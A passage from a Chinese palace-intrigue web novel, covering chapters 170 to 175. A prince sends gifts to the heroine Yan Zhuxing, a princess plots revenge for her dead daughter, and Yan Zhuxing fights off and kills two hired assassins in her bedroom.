整个晏宅他来去自如。 双鲤私底下偷偷说王爷来他们这简直像回家。 不过好在他还是有分寸的,她的寝屋是一次也没有踏足。 “一个好消息和一个坏消息,你想先听哪一个?”谢翊宁卖了个关子。 第170章 王爷好消息 “坏消息。”晏逐星答得干脆,几乎不带犹豫。 她的人生里好消息向来不多,不如先听听坏消息是什么再做打算。 “坏消息是,”谢翊宁顿了顿,语气里压着一丝烦躁,“还没找到你爹娘。” 他说完像是泄愤般,狠狠踢开了脚边一颗碍事的石子。 裴明镜连关万海失散多年的亲生女儿都寻着了,而他托父皇去查秦王妃的下落,竟至今杳无音信,更别提从秦王妃那里要到晏逐星亲生父母的消息了。 他看得出来,晏逐星今日看向宁心心时眼里带着羡慕。 她一定很想念她的家里人。 听到这话,晏逐星松了一口气,随后笑了起来。 “这算什么坏消息。说不定现在没有消息就是好消息。” 而后她有些好奇地追问:“那好消息呢?是什么呀?” “好消息是母后让我给你带两匹浮光锦,晚些时候我让人送过来。国公府的认亲宴,你可以做新裙子了。”说到这,谢翊宁眉梢染上了一抹得意。 “今年送来的浮光锦一共十匹,父皇给太后那边送了两匹,王贵妃、柳贤妃和杨淑妃各一匹,剩下的都给了母后。母后给太子妃嫂嫂送了三匹,剩下的两匹让我都给你送过来。” 晏逐星一怔。 好端端的,皇后娘娘给她送这么贵重的浮光锦做什么? 难不成皇后娘娘有意撮合她和永安王? 可她如今身世不明不白,皇室怎么可能让她这样的人当王妃。 唇边掠过一丝自嘲的笑,晏逐星心底那点悄然泛起的涟漪瞬间烟消云散。 见她愣愣地站在原地,谢翊宁还以为她觉得不公平,赶忙解释:“太子妃嫂嫂那边还有令嘉呢,令嘉如今也长大了,正是爱美的年纪,上巳节也该做新裙子了。所以母后给了三匹。” “你这边就你一个人,这才只给了两匹。” 晏逐星顿时哭笑不得,她什么身份还敢计较这些。 太子妃是皇后的儿媳妇,这浮光锦是皇后的,她就算全给了太子妃也很正常。 她的浮光锦由她做主。 “多谢皇后娘娘赏。但浮光锦太贵重了,我不能收。”晏逐星摇了摇头,出言拒绝。 “浮光锦贵重?能有我的命贵重么。你是我的救命恩人,母后想方设法地感谢你还来不及呢。区区浮光锦算什么。”谢翊宁理直气壮。 晏逐星:“……” 好有道理,她竟无言以对。 浮光锦哪里比得上谢翊宁贵重。 皇后若因为她改了谢翊宁短命的命格而赏她浮光锦,倒也合情合理。 想到这,晏逐星耳根子微微有些发烫。 她刚刚在胡思乱想什么呀,竟然觉得皇后娘娘想要撮合她跟永安王。 “你就收下吧,以后给你的好东西还多着呢。”谢翊宁潇洒地替她做了主,“你可是本王的救命恩人,这样的事往后只会更多。你得习惯。” 他可没忘了之前的打算:必须让他的小恩人多见些好东西。 这样将来那些臭小子想拿些不值钱的玩意儿糊弄她,可就骗不走了。 一想到可能有人求娶晏逐星的场景,谢翊宁心里便是一阵不痛快。具体哪里不痛快,他也说不上来。 他把这归结为这满京城里没他看得上的男人。 他都看不上,哪里配得上小恩人。 若真有人敢来求娶,他定要好好替小恩人把把关。 话都说到这份上了,晏逐星自然不好再拒绝,只得应下。 她眨巴着眼睛看着谢翊宁,晃了晃手中的长枪,提醒道:“王爷还有事么?” 没重要的事情别耽误她练功了。 谢翊宁的目光顿时落在了晏逐星手中的长枪上,脑海里闪过了好几把枪。 外祖父私藏的那杆流火枪就不错,正衬她。 明日他就去趟外祖父那儿,把晏逐星手里这把普通的给换了。 但直接给,晏逐星这性子肯定不会要。 他得想个法子才行。 不过眨眼的功夫,谢翊宁就想好了。 他笑眯眯道:“你要练长枪,正好,本王对此也略懂一二,我陪你过过招!” 晏逐星也想试试自己如今的身手,欣然答应。 器室里每种武器她都备了两份,方便练习,今日正好能让谢翊宁用上。 两人各自取了长枪,步入庭院。 晏逐星眼中战意灼灼,她拱手道:“王爷,得罪了。” “来。”谢翊宁含笑应战。 晏逐星枪尖一抖,挽了个漂亮的枪花便如疾风骤雨般攻来。 她身姿矫健,枪法灵动迅捷,显然下了苦功。 谢翊宁却显得从容不迫。 他唇角噙着惯有的笑意,抬起手中长枪随意格挡。 但下一刻,他就笑不出来了。 晏逐星的力气好大! 一枪打下来他虎口都震得发麻。 他不敢轻敌,打起了精神与晏逐星对战。 两人你来我往,晏逐星打得十分痛快。 就在晏逐星下一枪直刺谢翊宁中门时,他的手腕骤然发力。 他以一个极其刁钻的角度斜向上猛地一磕,精准无比地击打在晏逐星枪杆的受力薄弱处。 “喀嚓!” 一声脆响格外刺耳。 晏逐星只觉得一股巨力顺着枪身传来,虎口发麻,手中长枪竟应声而断。 晏逐星握着剩下的半截枪杆,低头看着掉落在地的枪头,愣了愣神,随后笑了起来:“王爷好枪法。” 谢翊宁早已收势,长枪稳稳拄地。 嘶,痛痛痛。 小恩人的力气怎么那么大。 还好他跟外祖父偷学了几招,不然今天就要丢脸了。 眼角余光瞥见晏逐星看向他,他当即把手背到了身后回应道:“过奖了,你也很不错。” 他盯着晏逐星手里断掉的长枪,声音带着一丝得逞的雀跃:“啧,看来这枪配不上你的身手。明日本王给你寻把真正趁手的来。” 晏逐星下意识地想要拒绝。 谢翊宁又道:“本王打断了你的枪,赔你一柄新的,理所应当。” 听出他口中的不容置疑,晏逐星再一次拒绝失败了。 她只得无奈道:“多谢王爷。” * 皇宫里。 崔皇后正与文昭帝闲谈此事。 “皇上,您说送去的这两匹浮光锦,能给咱们换回一个儿媳妇么?” 第171章 白捡一女儿 文昭帝笑了起来:“你若让旁人去,暗示那姑娘几分,或许能成。可你让小石头去,怕是不行了。那小子压根没开窍。” 崔皇后顿时发愁:“臣妾这不是想着让他去送,好培养培养感情么。” 小石头出生后被国师预言活不过二十,她便一直盼着他成家,好歹留个后。 但他却偏偏不想连累任何人,一直不松口。 这孩子太有主见,她不敢擅作主张给他相看,但心里早就急得不行。 如今好不容易有一个姑娘能入他的眼,她自是盼着两人早日成就好事。 而且这位姑娘很可能就是国师预言的那位破解了小石头“死劫”之人,她就更坚定了让她当儿媳妇的念头。 “儿孙自有儿孙福。小石头不急,咱们也别拔苗助长,感情这种事情,还是得顺其自然。”文昭帝劝慰。 “皇上说的是。”崔皇后点了点头,而后故意开口试探,“不过,如今晏大姑娘身份不明,倒也不好明着下旨赐婚,否则哪里还有那么多事情。” 什么身份不身份的,她并不在乎。 小石头是皇上的嫡子,天底下还有几个人能尊贵得过他。 他压根不需要靠娶那些世家豪门的贵女来巩固地位。 身为母亲,她只希望他能健健康康,顺心如意地过完这辈子。 只是,皇上和朝中大臣未必会这么想。 听到她这话,文昭帝板起了脸。 “崔凝华。” 听到皇上叫她的全名,崔皇后不由有些心慌。 她嗔怪地看了文昭帝一眼:“皇上这般唤臣妾,是要吓死臣妾不成?” “朕是不是和你说过,你想说什么就直接说,别和后宫其他人一样整那些弯弯绕绕的。”文昭帝脸绷得紧紧的,看着似乎有些生气。 “全后宫,朕只信你一人。你难道不能像朕信你一样相信朕么?” 崔皇后听到这话紧紧握住了他的手,眼中浮起一抹忧虑之色,叹了一口气道: “臣妾只是有些担心。若日后小石头开窍了要聘晏家大姑娘为妃,门楣悬殊,恐怕会惹来朝臣非议。” “您若给他二人赐婚,只怕届时言官们群起上书,直言您不顾礼法,偏袒私情。臣妾实在不忍看您为了儿女之事被千夫所指,徒增烦扰啊。” 听到皇后是担心他,文昭帝绷紧的脸总算露出了一点笑意。 “多大的事。”他回握住崔皇后的手。 “不就是身份地位么,朕给了就是。朝中那么多身份贵重的大臣,朕就不信找不到一个愿意给她当亲爹或亲兄长的。” “实在不行,把她送去崔家。让凝辉说她是他们流落在外的嫡亲女儿,届时她成了崔家的女儿,与小石头是表兄妹,亲上加亲,朝臣还有什么好反对的。” 听到这话,崔皇后噗嗤笑出了声。 崔凝辉是她一母同胞的亲弟弟。 若晏逐星成了弟弟的女儿,身份上倒是挑不出毛病来了。 她笑着调侃道:“凝辉人在家中坐,忽然女儿就从天上来了。皇上也不怕他夫妇二人来跟您闹。” 文昭帝也笑了:“白捡那么大一个聪慧女儿,凝辉夫妇倒是该谢谢朕才是。” “有皇上这话,臣妾就放心了。”崔皇后顺势依偎到了他怀里。 文昭帝轻轻拍了拍她的肩,柔声道:“朕吃过的苦,自然不会让我们的孩子再吃一遍。他想娶谁就娶谁,朕自会为他摆平一切。” * 谢翊宁答应了要给晏逐星送一柄新的枪,第二日就起了个大早,备了一马车的东西去了忠国公府。 “永安王来了!” 崔家下人瞧见谢翊宁的车驾,赶忙跑进去通知主子。 得知谢翊宁来了,整个忠国公府的人都来迎接他了。 “小石头,来就来了,怎么还带那么多礼。多见外呀。”老国公崔骏乐呵呵地看着谢翊宁。 谢翊宁嘿嘿一笑:“来探望外祖父,带多少好东西都不嫌多。” 毕竟待会他要问外祖父要那流火枪,不给点东西白拿那多不好意思啊。 “咱们永安王向来孝顺,父亲您又不是不知道。”忠国公崔凝辉笑着接话。 “舅舅,都说了自家人,您和父皇母后一样唤我石头就行。何必这般生疏。”谢翊宁无奈地看了他一眼。 崔凝辉整袖微揖,眼底却漾开笑意:“礼不可废,殿下终归是亲王之尊。但今日既在府中,便依殿下所言罢。” 随后将扒拉在自己腿边的小孙女崔莺时牵了出来,笑道:“小时,还不赶紧给你表舅行礼。” 三岁的崔莺时奶声奶气道:“小时见过表舅舅。” 谢翊宁一把将她捞起来抱到了怀里,笑着问她:“小时有没有想表舅呀。” “有!”崔莺时朗声回答。 为了表明自己真的有想表舅,崔莺时啵唧亲了谢翊宁的脸颊一口,只是一不小心,没接住口水,啪嗒落到了谢翊宁的领口。 崔莺时的母亲贺氏看到这一幕,吓了一跳,赶忙上前道歉:“王爷息怒,小女不是故意的。” 谢翊宁无所谓地摆了摆手:“小孩懂什么,都是自家人,表嫂不必这般紧张。” 忠国公崔凝辉见他当真不在意,便笑着看向儿媳妇:“是啊,这小子当初还尿我身上呢,小时弄点口水在他身上,算不得什么。” 谢翊宁闻言,佯装恼怒地瞪了他一眼:“舅舅,这都多少年前的事情了,咱们就别提了吧。” 崔凝辉哈哈一笑:“不提不提,等你有了儿子,让你儿子尿舅舅身上,舅舅也高兴。” “这都没影的事,不说这些了。”谢翊宁摆摆手,将崔莺时还给了贺氏,神秘兮兮地凑到崔凝辉身旁。 “舅舅,我想要外祖父那杆流火枪。要是外祖父不答应,您帮我求求情呗。” “你可以再大声一点的。”一旁的老国公没好气地看了他一眼。 说那么大声,不就是说给他听的么。 谢翊宁凑到了老国公身边,嬉皮笑脸道:“哎呀,说大声点外祖父就会答应么?那我可就大声说了啊。外祖父,我想要流火枪!” 老国公横了他一眼:“不给。你三天打鱼两天晒网,什么东西都是摸两天就不玩了,流火枪给你浪费了。” 谢翊宁一本正经道:“什么叫三天打鱼两天晒网,我那是在有限的时间里多学点东西。毕竟我可能都活不过二十岁,不得什么都试试,什么都玩玩么。” 这话一出,在场的人瞬间都沉默了。 第172章 为何不救我 “父亲,您就把流火枪给小石头吧。难得他开口跟您要一样东西。”崔凝辉看向了父亲,眼里带上了一丝恳求。 “就是就是。”谢翊宁跟着点头。 “你这混小子。”老国公伸手轻轻拍了他的背一下。 “当年国师预言传出宫第二日,你外祖母便拽着我跪在玄空寺佛前。我们叩着头对佛祖起誓,愿各舍二十年阳寿换你平安康健。” “这样,你至少能活到六十了,也不算白来这世上一遭。” “佛前许下这心愿没多久,你外祖母就走了。我想,佛祖一定是听到了我们的诚心。” “毕竟你外祖母走的时候,才四十出头。” 老国公提起去世的夫人,眼里带上了一些泪光。 “所以呀,你小子别整日把活不过二十挂嘴上。不吉利!” 谢翊宁没想到当年竟然还有这样的事情。 他心里沉甸甸的,看着众人关切的视线,重重点头:“外祖父,我一定会好好活下去的。让您看到我的儿子,孙子,曾孙子……” 话还没说完就被老国公给打断了。 “你小子说的什么话,看到你曾孙子,我岂不是得活到一百多岁。你可真敢想啊。”老国公哈哈大笑,将伤感掩埋。 “行了,流火枪给你就是。你可得好好珍惜它,切莫将它锁在库房里就不管了。” “外祖父您就放心吧!”谢翊宁答应得很痛快。 按照晏逐星那个拼命练习的劲,流火枪跟了她怕是没有一日能休息的机会。 “取枪来吧。”老国公吩咐了下去。 谢翊宁让停云将流火枪收好,随后陪着崔家人一块用了午膳,方才离开。 拿到枪的第一时间,谢翊宁就把它和昨日收到的浮光锦一块送去了晏宅。 晏逐星没想到他动作那么快,竟然不过一日的时间就寻到了这么一杆好枪。 晏逐星摸着流火枪爱不释手。 她感激地看着谢翊宁:“王爷,您对我这么好,我都不知道该怎么报答您了。” “你好好活着就是对我最大的回报了。”谢翊宁摸了摸她的脑袋。 看着她眼里的欢喜,谢翊宁觉得这比他收到什么赏赐都让人开心。 * 晏逐星过得很好,但朝华大长公主就过得很不好了。 她又一次从噩梦中惊醒。 “殿下,您没事吧?”瞧见朝华大长公主额头上的冷汗,她的贴身侍女香芷流露出了一丝担忧,旋即递上了帕子。 朝华大长公主双目无神地看着床边的帷幔,一言不发。 自女儿葬身火海那日起,她便坠入了无休止的梦魇。 夜复一夜,那冲天的烈焰必会准时在她梦中燃起。 她的女儿,她心尖上的福安,小小的身影就困在那火海中央,烈火焚身,一遍一遍地质问她:“母亲!你为何不救我?!” 想到女儿那撕心裂肺的哭喊声,朝华大长公主尖叫着抱住了脑袋。 “啊啊啊啊啊——” 香芷吓坏了,不敢上前,只得匆匆派人去将驸马请来。 朝华大长公主不敢闭上眼睛,她一闭上眼睛,看到的就是那场无情的大火。 那火就在公主府邸附近冲天而起,浓烟还飘入了府内的花园。 而彼时彼刻,她在做什么呢。 她正安然端坐于华堂之内,耳中充斥着戏台上婉转的唱腔与悠扬的丝竹,眼前是水袖翩跹、锣鼓喧天。 府外绝望的呼救、焦糊的气味、冲天的火光竟都被那咫尺之间的戏台喧嚣隔绝在外。 朝华大长公主捂着心口倒在床上,口中喃喃自语:“福安,你莫要怪母亲,母亲一定会替你报仇的。” 她不止一次地后悔过,那一日为何不让人去救火。 若是救了火,她的福安或许就不会出事了。 驸马匆匆赶来时,就瞧见了这一幕。 朝华大长公主躺在床上蜷缩着身体,浑身都是冷汗,脸色惨白如鬼。 驸马赶忙上前抱住了她。 “朝华没事了,没事了,一切都会好起来的。” “本宫又梦到福安了,她在怨我。”朝华大长公主听到他的声音,猛地睁大了眼睛,沾了汗水的双手一把搭在了他的肩膀上。 “我们一定要替福安报仇,否则她永远不会原谅我们的。” “好,替福安报仇。一定会替她报仇的。”驸马紧紧抱住了她。 在驸马的安抚下,朝华大长公主情绪渐渐稳定下来。 她一言不发,起身沐浴更衣,再出来时,她整个人的眼神里带上了一丝决绝。 “本宫不想忍了。” “本宫要让她下十八层地狱去给福安陪葬。” 驸马定定地看着她,还没来得及说出口的劝阻化作了无奈的叹息。 “好,那便如您所愿。” 夫妻二人坐下,商议着之后该如何除掉晏逐星。 最简单的方法就是直接派暗卫潜入晏宅,将其斩杀。 但他们不确定永安王有没有给她留有人手。 此举只能成功不能失败。 不然天子脚下出现灭门惨案,定会惹得人心惶惶,皇上也一定会严厉彻查。 这个计划风险太大,被他们放弃了。 “不如等上巳节她出门时杀了她。”朝华大长公主开口。 还有几日就是上巳节了。 京中未婚男女届时都会出门游玩,想必晏逐星也不例外。 “若她出门是和谢翊宁一起呢?”驸马叹了一口气。 只要有谢翊宁在,他们动晏逐星就没那么容易。 那可是个混不吝的。 如今他护着晏逐星,若晏逐星出事了,他一定会搅翻整个京城来查找真凶。 这就是他一直劝公主忍一忍的原因。 等两年后谢翊宁死了,晏逐星他们想怎么弄死,就怎么弄死。 但如今公主不想忍了,那他们便动手吧。 总该给他们的女儿报仇。 想到死掉的福安郡主,驸马痛苦地闭上了眼睛。 那可是他最疼爱的女儿啊。 朝华大公主听到谢翊宁的名字就气得牙痒痒,但她确实也拿他没办法。 沉默许久,驸马再次开口:“或者,可以定在烈国公府认亲宴那日。” 烈国公夫妇要认晏逐星为义女,此事本该过完年就操办,但正好撞上了定远侯成婚,便推迟了。 没想到定远侯竟然死在了大婚那日。 虽然晏逐星不是定远侯的亲女儿,但毕竟当了十多年的父女,为了避免忌讳与外人的闲话,烈国公府再一次推迟了认亲宴。 如今这场认亲宴定在了五月初。 距今还有两个月,他们可以慢慢准备。 “太久了。”朝华大长公主不想等。 “但那是最好的时机了。”驸马语气坚决。 “那个时候再要她的命,在那之前,咱们可以先收点利息。” 第173章 设局杀公主 朝华大长公主和驸马在暗地里策划着如何杀掉晏逐星,晏逐星也在思索着该怎么除掉朝华大长公主。 她杀了福安郡主,和朝华大长公主已经是不死不休的死敌了。 朝华大长公主派人暗杀她一次不成,一定还会有第二次。 她第二次未必还会有上次那样的好运道。 与其坐以待毙,不如主动出击。 所以她要抢先一步,设局杀了朝华大长公主。 但是到底怎么做,才能让朝华大长公主的死显得像个意外,还不牵扯到她呢。 晏逐星思索了起来。 她不能把谢翊宁牵扯到这件事里来。 毕竟朝华大长公主怎么说都是他名义上的姑母,若是日后这事一个不慎被人翻了出来,就算帝后再怎么宠爱他,他也不可能毫发无损。 晏逐星仔细回忆着上辈子的事情。 上巳节前后,究竟有没有发生什么事能让她利用上。 她躺在床上翻来覆去地想,终于从犄角旮旯的回忆里想起了一件事情。 上巳节那会儿她还留在侯府,温如霜带着晏明月出府交际,当日回府后,两人脸色都很不好看。 只是隐约听到她们说了几句有人出事了,还嘱咐晏明月这些时日不要出门。 可出什么事了,她一概不知。 就在晏逐星绞尽脑汁苦想时,头顶的屋瓦猝然传来几声极其轻微的咔嚓脆响。 有人来了! 听脚步声,不止一人。 难道朝华大长公主这么快就沉不住气了? 晏逐星心下一惊,来不及细想便抓起枕头下的匕首,而后飞快地将枕头塞入被褥,伪装出床上有人在沉睡的假象。 整个过程不过片刻功夫,紧接着她躲到床下,屋内重归死寂。 屋顶的瓦片被人撬开,一股带着甜腻腥气的灰白色烟雾顺着瓦片缝隙弥漫而下,迅速在昏暗的室内散开。 是迷烟。 晏逐星立刻屏住呼吸,闭紧双眼,仅凭敏锐的听觉捕捉着屋顶的动静。 她听到屋顶瓦片被小心挪开,然后是两道黑影落地的声音。 迷烟尚未散尽,两人落地后并未立刻动作。 晏逐星从床底处隐约看清了两人的身形。 一胖一瘦。 胖子殿后,瘦子灵巧地朝床榻摸去,手中的短刀对着被褥下隆起的人影心脏位置狠狠刺下。 匕首落下那一瞬间,他便意识到了不对劲。 “空的!咱们上当了。”瘦子惊觉不妙,失声低呼。 晏逐星屏气已经快到了极限,她从床底翻出,果断刺向因为震惊而失神的瘦子。 瘦子察觉到床底有人,想要闪躲已经来不及,晏逐星直冲他的脚踝而去。 瘦子的脚筋当场被挑断。 “啊——!” 剧痛让他控制不住声音,发出了惨叫。 他站不稳,踉跄着想要往同伴的身上倒去,不曾想,晏逐星根本不给他机会。 她欺身而上,左手扣住瘦子的右臂,狠力一拧一错! “咔哒!” 清脆的骨裂声响起。 瘦子整条胳膊瞬间软垂,剧痛让他眼前发黑,根本拿不稳手里的武器。 “阿猫!”殿后的胖子见同伴瞬间被废,目眦欲裂,一手接住他,另一手拿着刀狠狠劈向晏逐星的面门。 “小姐当心!” 就在这时房门被猛地撞开,九栀手持利剑如一道影子般冲了进来。 她早已惊醒,闻声即动。 晏逐星闪开,胖子一刀劈了个空。 他心头顿时大骇。 他万万没料到目标不仅身手狠辣,竟还有帮手。 恐惧瞬间压过愤怒,他立刻收势,拧身就想撞窗而逃。 “想走?晚了。” 晏逐星冷笑,月光下,她与九栀眼神交汇,便明白了彼此的意思。 两人身影交错,一左一右,剑光匕影瞬间封死了胖子所有退路。 九栀的剑刁钻地刺向胖子肋下,迫使他回防,只一瞬间的功夫,晏逐星的匕首就架在了他的脖子上。 冰冷的匕首紧贴皮肉,胖子浑身僵直,不敢再妄动分毫。 “谁派你们来的?”晏逐星沉声发问。 “收了银子,就得讲江湖道义!”胖子梗着脖子,语气十分强硬,“你休想从我这儿套出半个字。” “用你的命威胁,也不说?”晏逐星眉梢微挑加重了手上的力道。 匕首的寒光倒映在她眼中,让她的眼神看起来愈发冷漠了。 “当然!老子骨头硬得很!”胖子掷地有声,一副视死如归的模样。 “很好。”晏逐星唇角勾起一丝极淡的笑。 “我就佩服你们这种讲道义的人。” 话音落下,她的手腕猛地向前一送,匕首精准无比地贯穿了胖子的咽喉。 胖子脸上那副强硬的表情瞬间凝固,取而代之的是难以置信的惊愕。 他眼球凸起,死死瞪着眼前的晏逐星,显然完全没有料到她会突然出手。 他沉重的身躯直挺挺向后栽倒,鲜血汩汩涌出,迅速染红了地面。 晏逐星面无表情地抬手,用袖口慢条斯理地揩去溅到脸颊上那点温热的血珠。 她垂眸看着地上胖子那双至死都圆睁着的、充满错愕与不甘的眼睛。 缓缓蹲下身,伸出染血的指尖,轻轻覆上那死不瞑目的眼皮,声音平静得近乎诡异:“你要讲道义,我便成全你。只盼你的雇主来年记得给你烧炷香。走好。” 角落里被挑断脚筋卸了胳膊的瘦子,早已吓得魂飞魄散,浑身抖如筛糠。 浓烈的血腥味和同伴死不瞑目的惨状,彻底击溃了他心头最后一丝侥幸。 他在脑海里无声尖叫了起来: 他娘的,这小娘们好可怕啊啊啊啊。 早知道他就不抢着接这一单了。 这哪是什么挣快钱的好单子,分明是送他去见阎王的催命符。 晏逐星转身走向了他,微微一笑:“你也要讲道义么?” 第174章 杀了两个人 “小姐饶命!”瘦子的求饶声带上了哭腔。 “我说,只要你放过我,我什么都说。” 晏逐星半蹲着身子看向他,脸上的笑容越发诡谲,她轻轻开口:“说吧,你们是什么人,又是谁让你们来杀我的?” “我叫阿猫,他叫阿狗,我们就是混口饭吃的可怜人。有一个道士出了五百两银子买你的命。我们就来了。”瘦子阿猫半点谎话都不敢撒,一股脑全都说了出来。 面前的女罗刹太可怕了,他根本不敢有半点歪心思。 “道士?” 晏逐星一愣。 她还以为是朝华大长公主派来的人呢。 也对,这两人的功夫都是野路子,不像是公主府培养出来的杀手。 她相信了阿猫说的话。 “没错,就是道士。”阿猫疯狂点头,哭着道,“小姐,我知道的都说了,您就放过我吧。我保证今夜发生的事情,一个字都不会说出去的。” 说到最后,他已经分不清自己滑落到嘴里的究竟是眼泪还是鼻涕了。 晏逐星想起了定慈观那位潜逃在外的道士。 难不成是他? “他是不是叫明宵?”晏逐星追问。 “我不知道。”阿猫连连摇头。 “事成之后,你们去哪里找他要赏银?时间,地点,接头暗号,都给我说清楚。”晏逐星又问。 “城外荒废的李家宅子,据说那儿闹鬼,明日丑时三刻,我们以猫叫狗叫为号。长叫三声喵,短叫两声汪。他就会现身。”阿猫全都交代出来了。 一旁的九栀听完嘴角忍不住抽了抽。 好草率的暗号。 “小姐,我知道的事情真的全都说完了,您就放了我吧。”阿猫再次恳求。 “嗯,我知道,你都说完了。”晏逐星点了点头。 阿猫见状顿时大喜,以为自己可以脱身,正欲道谢,就看到晏逐星手中的匕首刺向了他。 和先前杀阿狗时如出一辙,匕首径直贯穿了他的咽喉。 阿猫脸上出现了和胖子阿狗一样不可思议的表情。 “我……不是……” 他想说他不是都说了吗,为什么晏逐星还是不肯放过他。 晏逐星认真地看着他,安慰道:“别怕,黄泉路上,你们可以结伴,不会太寂寞。” 谁他娘要结伴去死啊! 这是阿猫意识消散前的最后一个念头。 确认他真的咽气之后,晏逐星长长地吐出了一口气。 他们来杀她的时候,可没想过放她一条生路。 她自然也不会手下留情。 “小姐?九栀姐姐?你们没事吧?”门外传来了双鲤紧张地询问声。 先前听到动静,她和衔蝉姐姐就醒了。 九栀姐姐让她呆在外边见机行事,不会武功就不要进来添乱了。 而衔蝉姐姐当机立断去找了王爷,如今还没回来。 “我们没事,你先别进来,你去弄些热水来,我要沐浴。”晏逐星怕吓到她,将她支走。 “是。”双鲤听话地没有进屋,当即去准备热水。 九栀摸索着点亮了桌上的油灯。 昏黄的光晕染开,瞬间驱散了屋内的黑暗,也清晰地映照出屋内的一片狼藉。 晏逐星定定地站着,目光沉沉地锁在地上那两具尚带余温的尸体上,一言不发。 “小姐?”九栀看着她这副沉默的模样,心头一紧,担忧地轻唤出声。 话音刚落,窗户发出哐当的声响。 九栀与晏逐星瞳孔猛地一缩,几乎是身体的本能反应,两人转身将手中的兵器就刺向破窗而入的不速之客。 然而看清眼前的来人时,两人硬生生地撤回了先前的击杀。 谢翊宁闪身握住了晏逐星的手。 晏逐星脸上满是错愕:“王爷,您怎么来了?” “衔蝉急报,称有刺客,本王尚未入睡,便亲自走这一遭了。”谢翊宁扫了地上的两具尸体一眼,确认威胁已除,眉头才略微舒展。 他正欲开口唤门外的照夜与停云进来清理残局,视线却不经意间落在了晏逐星身上。 昏黄的灯光下,少女只穿着一件单薄的素色中衣,衣料因方才的打斗略显凌乱,清晰地勾勒出纤细的身形。 谢翊宁的目光骤然一凝,随即像是被烫到般猛地移开。 一抹不易察觉的绯红,倏然从他耳根处蔓延开来,瞬间染红了脖颈。 他像是被烫到了一般,迅速地松开了方才情急之下握住晏逐星手腕的手。 随后一把捞起床上那张被刺客刺破的锦被,动作带着几分不容置疑的慌乱和强势,不由分说地就将晏逐星从头到脚严严实实地卷裹了起来。 等晏逐星反应过来,她已经被裹成了一个密不透风、只勉强露出半张小脸的“人形粽子”。 晏逐星:“……” 谢翊宁这才仿佛完成了什么重大任务,微微侧过身视线飘向了窗外。 他喉结几不可察地滚动了一下,方才强压下那不合时宜的赧然与尴尬。 他轻咳两声:“天冷,莫要染了风寒。” 像是怕晏逐星开口,他急急道:“尸体待会本王让停云和照夜来处理,你不必担心。我本不该进你的寝屋,但事急从权,还望你不要计较。” “我怎么会计较这些小事,我感谢王爷还来不及呢。”晏逐星也意识到自己先前穿着中衣不宜见外男,她也尴尬地别过了头,盯着先前被阿猫阿狗弄开的屋顶。 两人一人看窗,一人看天。 九栀忽然觉得她的存在好像有些多余。 这时,双鲤和衔蝉的声音打破了沉默。 “小姐,热水来了。” 晏逐星赶忙道:“我这就来。” 而后,她下意识地想要冲谢翊宁行礼离开,但却忘了自己现在被裹得严严实实双手根本动不了。 “王爷,我……” 她这一动,差点没站稳就要往后栽去。 “小姐当心。”九栀猛地冲了过去搀扶住了她。 谢翊宁伸出去的手赶紧又收了回来,握拳放到唇边,轻咳一声:“嗯,你先去忙吧,这儿交给照夜和停云。待会你弄好了,咱们花厅见。” 说完他快步离开了晏逐星的屋子。 九栀将锦被替她解开,晏逐星赶忙披上了衣裳去沐浴。 洗了个热水澡,换好了衣裳,晏逐星发现屋子里已经恢复如初,全然看不出先前里边躺着两具死尸。 果然专业的事还得交给专业的人来干啊。 晏逐星在心底暗暗嘀咕。 “小姐,王爷还等着您呢。”衔蝉上前提醒。 “就来。”晏逐星点头,快步去了花厅。 第175章 她试探王爷 瞧见晏逐星,谢翊宁给她倒了一杯热茶。 动作行云流水之自然,让停云和照夜忍不住对视一眼。 王爷在府里都是别人尽心尽力伺候着的,没想到有朝一日竟然能看到他伺候别人。 王爷待晏大小姐真是不一般。 “多谢王爷。”晏逐星接过热茶坐下。 “可有受伤?”谢翊宁问。 “没有。”晏逐星摇头。 她反应很快做了埋伏,九栀救援也很及时,因而并未受伤。 听到她这么说,谢翊宁放心多了。 他这才问起正事。 “可曾问出他们幕后之人是谁了?” 晏逐星迟疑了片刻,思索着要不要说出来。 如果今夜来刺杀的人真是明宵找人来的,这事就是她引起的,与谢翊宁无关。 她知道谢翊宁对她好,但这个好能持续多久,她不知道。 她不想什么都麻烦谢翊宁。 恩情要用在刀刃上。 什么小事都麻烦他的话,说不定很快就会被厌弃了。 她的沉默落在谢翊宁眼中就成了不敢言说。 他直接将自己的猜测说了出来:“可是朝华姑母派来的人?” 听到这话,晏逐星心念一动,忍不住起了试探的心思。 “若是朝华大长公主派来的人呢?王爷会怎么做?” “当然是有仇报仇,有怨报怨咯。”谢翊宁毫不犹豫地回答。 “可朝华大长公主毕竟是您名义上的姑母……”晏逐星顿了顿,没有继续说下去。 谢翊宁听懂了她话外的担心。 他和朝华大长公主都是皇室中人,天然就是同盟。 在她和朝华大长公主之间,她认为他会选择朝华大长公主。 “那又如何?”谢翊宁挑眉一笑。 “她是本王的姑母,但你却是本王的救命恩人。你给了我一条命。孰轻孰重,难道我还分不清吗?” 随后谢翊宁低头小声嘀咕:“再说了,也不是亲姑母。若是亲姑母,福安这样乖戾成性的表妹我早就直接揍一顿了。” 听清他说了什么的晏逐星:“……” 永安王真是性情中人啊。 说罢他抬头冲晏逐星笑了笑,似是有意安抚:“你又没招惹福安,是福安先对你下死手的,你的所作所为不过自保罢了。姑母怨你,是她糊涂。若是对你下杀手,那就是愚蠢且恶毒。” 晏逐星一怔,深吸一口气看向谢翊宁一字一句道:“所以王爷的意思是如果今夜行刺之人是朝华大长公主派来的,王爷会站在我这边帮我复仇,对么?” “当然。”谢翊宁毫不犹豫地回答。 晏逐星的一颗心像是被投入滚水的寒冰,瞬间炸裂开无数细小的缝隙,又被汹涌而至的暖流彻底包裹。 那份沉甸甸压在心头的担忧,被他这斩钉截铁的话语猛地撞散了。 她喉头竟微微发哽,一股难以言喻的热流直冲眼眶,又被她强行压了回去。 “所以今夜的人真的是公主府的吗?”谢翊宁一边问一边在脑海里盘算着怎么样才能让这两具尸体的用处最大化。 然后就听到晏逐星开口。 “不是。” “哈?”谢翊宁傻眼了。 停云和照夜也懵了。 晏大小姐铺垫了前面那么长,逗他们玩呢? “但朝华大长公主前些时日确实派了四个暗卫到定远侯府杀我。”晏逐星把那日的事情一一道来。 停云、照夜:“……” 这位大小姐说话能不能别大喘气。 听完她的话,两人看向她的眼神多了一丝敬意。 一个未及笄的姑娘,连着另一个丫鬟,二对四竟然打赢了训练有素的暗卫。 这位晏大小姐当真是不容小觑啊。 两人心底都生起了一个念头: 只要给她足够的成长时间,假以时日,这位晏大小姐定然能取得不凡的成就。 “那你为何事后不来寻本王?”谢翊宁有些不高兴。 